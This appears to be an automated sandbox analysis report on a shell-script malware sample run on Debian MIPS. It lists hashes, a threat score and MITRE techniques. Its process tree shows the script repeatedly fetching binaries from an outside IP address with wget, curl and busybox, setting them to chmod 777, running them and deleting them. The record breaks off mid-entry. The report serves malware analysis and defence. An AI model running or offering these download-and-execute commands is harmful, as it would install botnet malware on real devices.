bf547cdc7a9de06658e0b130057c562fbfc38515ec8e86c54d6bad1c22eacd8b

Analysis

max time kernel
119s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/11/2024, 03:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bf547cdc7a9de06658e0b130057c562fbfc38515ec8e86c54d6bad1c22eacd8b.sh
Size 10KB
Sample241107-dpafdathmd
SHA256 bf547cdc7a9de06658e0b130057c562fbfc38515ec8e86c54d6bad1c22eacd8b
MD5 17fadac61f699e8688b92fa8096ee980
SHA1 83b7df16777df7eb876af7062643a8d30cddb2ca
SHA512 59ce1a1990e0f04de41aac37d50304d031af6b8f68ad765cdb43e9ebfc5bb1b29ed072b24adf1cfa3c505e8bd4bef1c219324a8941fd95166688ed33e590aedd
SSDEEP 192:+iVAFfHv6mhWd19zxz5zN2KBd2fHv6mS1Pzxz5zN2K1:+iVAFfHv6mhWdPdlN2KBd2fHv6mShdlX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
971	chmod
743	chmod
823	chmod
863	chmod
881	chmod
893	chmod
917	chmod
959	chmod
787	chmod
815	chmod
905	chmod
899	chmod
730	chmod
762	chmod
887	chmod
923	chmod
929	chmod
941	chmod
977	chmod
875	chmod
911	chmod
869	chmod
935	chmod
953	chmod
853	chmod
947	chmod
965	chmod
983	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO	curl
File opened for modification	/tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5	curl
File opened for modification	/tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk	curl
File opened for modification	/tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr	curl
File opened for modification	/tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS	curl
File opened for modification	/tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk	curl
File opened for modification	/tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp	curl
File opened for modification	/tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7	curl
File opened for modification	/tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N	curl
File opened for modification	/tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO	curl
File opened for modification	/tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ	curl
File opened for modification	/tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p	curl
File opened for modification	/tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS	curl
File opened for modification	/tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs	curl
File opened for modification	/tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp	curl
File opened for modification	/tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs	curl
File opened for modification	/tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx	curl
File opened for modification	/tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ	curl
File opened for modification	/tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx	curl
File opened for modification	/tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N	curl
File opened for modification	/tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO	curl
File opened for modification	/tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY	curl
File opened for modification	/tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO	curl
File opened for modification	/tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7	curl
File opened for modification	/tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr	curl
File opened for modification	/tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p	curl
File opened for modification	/tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5	curl
File opened for modification	/tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY	curl

/tmp/bf547cdc7a9de06658e0b130057c562fbfc38515ec8e86c54d6bad1c22eacd8b.sh
/tmp/bf547cdc7a9de06658e0b130057c562fbfc38515ec8e86c54d6bad1c22eacd8b.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:728
- /bin/chmod
  chmod 777 Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  ./Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:741
- /bin/chmod
  chmod 777 pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  ./pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:754
- /bin/chmod
  chmod 777 dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  ./dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:767
- /usr/bin/wget
  wget http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:781
- /bin/chmod
  chmod 777 p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  ./p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:811
- /bin/chmod
  chmod 777 Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  ./Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:820
- /bin/chmod
  chmod 777 usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  ./usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:828
- /usr/bin/wget
  wget http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:848
- /bin/chmod
  chmod 777 CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  ./CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:862
- /bin/chmod
  chmod 777 tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  ./tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:865
- /usr/bin/wget
  wget http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:868
- /bin/chmod
  chmod 777 S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  ./S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:871
- /usr/bin/wget
  wget http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:874
- /bin/chmod
  chmod 777 NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  ./NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:877
- /usr/bin/wget
  wget http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:880
- /bin/chmod
  chmod 777 MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  ./MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:886
- /bin/chmod
  chmod 777 uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  ./uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:889
- /usr/bin/wget
  wget http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:892
- /bin/chmod
  chmod 777 4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  ./4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm 4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:895
- /usr/bin/wget
  wget http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:898
- /bin/chmod
  chmod 777 oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  ./oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:901
- /usr/bin/wget
  wget http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:904
- /bin/chmod
  chmod 777 usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  ./usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
  2⤵
  PID:907
- /usr/bin/wget
  wget http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:910
- /bin/chmod
  chmod 777 CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  ./CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:916
- /bin/chmod
  chmod 777 dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  ./dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:922
- /bin/chmod
  chmod 777 p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  ./p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:928
- /bin/chmod
  chmod 777 Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  ./Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
  2⤵
  PID:931
- /usr/bin/wget
  wget http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:934
- /bin/chmod
  chmod 777 tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  ./tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
  2⤵
  PID:937
- /usr/bin/wget
  wget http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:940
- /bin/chmod
  chmod 777 S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  ./S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
  2⤵
  PID:943
- /usr/bin/wget
  wget http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:946
- /bin/chmod
  chmod 777 NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  ./NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
  2⤵
  PID:949
- /usr/bin/wget
  wget http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:952
- /bin/chmod
  chmod 777 oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  ./oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
  2⤵
  PID:955
- /usr/bin/wget
  wget http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:958
- /bin/chmod
  chmod 777 MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  ./MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
  2⤵
  PID:961
- /usr/bin/wget
  wget http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
